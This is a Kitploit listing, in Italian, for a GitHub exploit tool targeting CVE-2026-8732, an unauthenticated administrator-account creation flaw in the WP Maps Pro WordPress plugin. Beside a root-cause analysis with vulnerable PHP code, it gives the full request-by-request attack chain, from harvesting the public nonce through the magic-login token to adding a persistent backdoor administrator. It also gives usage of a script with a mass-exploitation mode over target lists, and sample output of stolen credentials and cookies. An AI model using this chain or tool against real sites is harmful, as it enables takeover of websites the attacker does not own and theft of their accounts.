Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - Escalation dei privilegi non autenticata tramite creazione di account amministratore | Kitploit
Strumenti/GitHubGitHub/xshadow-here/cve-2026-8732
Escalation di PrivilegiAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - Escalation dei privilegi non autenticata tramite creazione di account amministratore

Vedi Repository
112 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Escalation dei Privilegi non Autenticata tramite Creazione di un Account Amministratore ♡
=== shadow ♡ & friska ===


📋 Informazioni sulla Vulnerabilità

CampoDettagli
CVE IDCVE-2026-8732
Punteggio CVSS9.8 (Critico)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TipoAutenticazione Mancante per Funzione Critica
PluginWP Maps Pro (wp-google-map-gold)
Versioni affetteTutte le versioni ≤ 6.1.0
Versione corretta6.1.1
Pubblicata28 maggio 2026
RicercatoreDavid Brown
PoCShadow & Friska 😈

🔍 Descrizione

Il plugin WP Maps Pro per WordPress è vulnerabile all'Escalation dei Privilegi non Autenticata tramite Creazione di un Account Amministratore.

L'azione AJAX wpgmp_temp_access_ajax è registrata con wp_ajax_nopriv_ ed è protetta solo da un controllo nonce tramite il nonce fc-call-nonce — che è incorporato pubblicamente in ogni pagina frontend via wp_localize_script come campo nonce dell'oggetto JavaScript wpgmp_local.

Ciò rende il controllo del nonce completamente inefficace come meccanismo di controllo degli accessi, consentendo ad attaccanti non autenticati di:

  1. Estrarre il nonce da qualsiasi pagina pubblica
  2. Invocare il gestore wpgmp_temp_access_support con check_temp=false
  3. Attivare la creazione incondizionata di un nuovo account Amministratore WordPress
  4. Ricevere un URL di login magico che chiama wp_set_auth_cookie() — garantendo accesso amministrativo completo
  5. Creare un account backdoor persistente

Risultato: Compromissione completa del sito senza alcuna autenticazione preliminare.


🧬 Analisi della Causa Radice

1. Hook Registrato all'Interno del Blocco is_admin() — ma is_admin() è Sempre Vero per AJAX

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE for all admin-ajax.php requests!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}

2. Nonce Esposto a Ogni Pagina Frontend

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← LEAKED to public HTML!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Qualsiasi visitatore può leggere il nonce dal sorgente della pagina. I nonce di WordPress sono token CSRF — non token di autenticazione.

3. Nessun Controllo delle Capacità nel Callback AJAX

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← bypassed via public nonce
    // NO current_user_can() check!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Creazione Incondizionata di un Account Amministratore

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // random username
    $email    = '[email protected]';       // hardcoded email
    $role     = 'administrator';                 // hardcoded role ← ROOT CAUSE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← magic URL returned to attacker!
    }
}

5. Login Magico tramite Hook init — Nessuna Scadenza, Nessun Uso Singolo

root@kitploit:~
// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECT TO DASHBOARD

⚔️ Catena di Attacco

root@kitploit:~
[Unauthenticated Attacker]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() fired
   ← 302 → /wp-admin/
         │
         ▼
   [Full Administrator Access] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Persistent Backdoor Created] 😈

🛠️ Strumenti

shadow.py — Catena di Exploit Completa

Singolo target o sfruttamento di massa.

root@kitploit:~
# Interactive
python3 shadow.py

# Single target
python3 shadow.py -u https://target.com

# Mass exploit
python3 shadow.py -f targets.txt -t 20

Fasi dell'Exploit:

root@kitploit:~
Phase 1  ▶  Plugin & Feature Detection
Phase 2  ▶  Nonce Scan (parallel crawler)
Phase 3  ▶  Admin Creation via AJAX
Phase 4  ▶  Magic Login (wp_set_auth_cookie)
Phase 5  ▶  Persistent Backdoor (REST API)

Output (pwned.txt):

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Mitigazione

Aggiorna WP Maps Pro alla versione 6.1.1 o successiva.


[shadow ♡ friska] — solo per ricerca di sicurezza educativa e autorizzata

Scarica lo strumento